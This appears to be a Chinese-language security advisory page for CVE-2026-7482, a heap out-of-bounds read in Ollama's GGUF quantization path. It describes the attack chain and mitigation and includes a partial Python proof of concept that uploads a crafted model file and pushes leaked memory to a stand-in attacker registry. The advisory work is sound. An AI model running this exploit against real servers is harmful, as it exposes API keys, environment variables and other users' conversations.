IPBUF安全漏洞报告
English
CVE-2026-7482 CVSS 9.1 严重

CVE-2026-7482 Ollama堆越界读取漏洞

披露日期: 2026-05-04
来源: abd028dc-c042-4c4d-9749-38d0f850af89

漏洞信息

漏洞编号
CVE-2026-7482
漏洞类型
堆越界读取
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ollama

相关标签

堆越界读取信息泄露OllamaCVSS-9.1

漏洞概述

Ollama 0.17.1之前的版本存在严重的堆越界读取漏洞。攻击者可构造特制的GGUF模型文件,通过无认证的/api/create接口上传。服务器在处理量化任务时,因未严格校验文件偏移量与大小,会读取堆缓冲区外的内存数据。泄露内容可能涵盖环境变量、API密钥、系统提示及并发用户对话。攻击者随后可利用/api/push接口将包含敏感信息的模型文件推送至受控服务器,实现数据窃取。

技术细节

该漏洞源于Ollama在处理GGUF格式模型文件时的校验逻辑缺陷。漏洞触发点位于fs/ggml/gguf.go和server/quantization.go的WriteTo()函数。攻击者可以构造恶意的GGUF文件,在其中声明大于文件实际长度的张量偏移量或数据大小。当服务器调用/api/create端点进行模型量化处理时,会依据攻击者提供的虚假元数据去读取数据,从而触发堆越界读取漏洞。由于Ollama的/api/create和/api/push端点在默认分发中缺乏身份验证机制,且实际部署中常通过OLLAMA_HOST=0.0.0.0暴露于公网,攻击者可远程利用此漏洞。通过读取越界内存区域,攻击者可获取环境变量、其他用户的对话数据等敏感信息,并利用/api/push将包含内存数据的模型文件上传至受控服务器,实现信息外泄。

攻击链分析

STEP 1
侦查
攻击者扫描互联网或内网,寻找暴露在11434端口且配置为OLLAMA_HOST=0.0.0.0的Ollama服务实例。
STEP 2
武器化
攻击者构造一个特制的GGUF格式模型文件,修改其中的张量偏移量字段,使其数值大于文件的实际大小。
STEP 3
交付
攻击者利用Ollama无需认证的/api/create接口,上传包含恶意元数据的GGUF文件,并触发服务端的量化任务。
STEP 4
利用
Ollama服务器在处理量化(WriteTo函数)时,根据伪造的偏移量读取内存,导致堆越界读取,敏感数据(如API Key、环境变量)被加载进模型文件。
STEP 5
外泄
攻击者调用/api/push接口,将包含泄露内存数据的模型文件推送到由攻击者控制的外部镜像仓库。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import struct # Target configuration TARGET_URL = "http://localhost:11434" ATTACKER_REGISTRY = "http://attacker-controlled-registry.com" # 1. Craft a malicious GGUF file structure # This function simulates creating a GGUF file where tensor offsets # point beyond the end of the file, triggering the heap read. def create_malicious_gguf(filename): with open(filename, "wb") as f: # Write GGUF Magic Number ("GGUF" in hex) f.write(b'GGUF') # Write Version (3 for GGUF v3) f.write(struct.pack('<I', 3)) # Write Tensor Counts (1 for simplicity) f.write(struct.pack('<Q', 1)) # ... (Metadata omitted for brevity) ... # Write Tensor Info: Name offset, Type, Offset (EVIL), Size # The key is setting the 'offset' to a value larger than the file size # e.g., offset = 0xFFFFFFFF (very large) evil_offset = 0xFFFFFFFF tensor_size = 0x1000 # Tensor Name (null terminated) f.write(b'tensor_name\x00') # Tensor Data mapping (Offset, Type, etc.) # In a real exploit, this structure must match the GGUF spec precisely # to pass initial parsing but fail during actual data access. f.write(struct.pack('<Q', evil_offset)) # The malicious offset f.write(struct.pack('<I', 0)) # Type f.write(struct.pack('<Q', tensor_size)) # Size def exploit(): gguf_file = "malicious.gguf" create_malicious_gguf(gguf_file) try: # Step 1: Upload and create model (triggers quantization & leak) print(f"[*] Uploading malicious model to {TARGET_URL}/api/create...") with open(gguf_file, 'rb') as f: files = {'file': (gguf_file, f, 'application/octet-stream')} # Modelfile instruction to use the uploaded binary data = { 'name': 'leaked-model', 'modelfile': 'FROM ./malicious.gguf' } r = requests.post(f"{TARGET_URL}/api/create", files=files, data=data) if r.status_code == 200: print("[+] Model creation initiated. Heap out-of-bounds read likely occurred.") else: print(f"[-] Upload failed: {r.text}") return # Step 2: Exfiltrate the model containing leaked memory print(f"[*] Pushing model to attacker registry: {ATTACKER_REGISTRY}") push_payload = { "name": "leaked-model", "stream": False, "insecure": True # if using http registry } p = requests.post(f"{TARGET_URL}/api/push", json=push_payload) if p.status_code == 200: print("[+] Exploit successful. Sensitive memory data exfiltrated.") else: print(f"[-] Push failed: {p.text}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()

影响范围

Ollama < 0.17.1

防御指南

临时缓解措施
如果无法立即升级,请确保服务未暴露在公网上(绑定到127.0.0.1),并在反向代理层实施严格的网络访问控制和身份验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表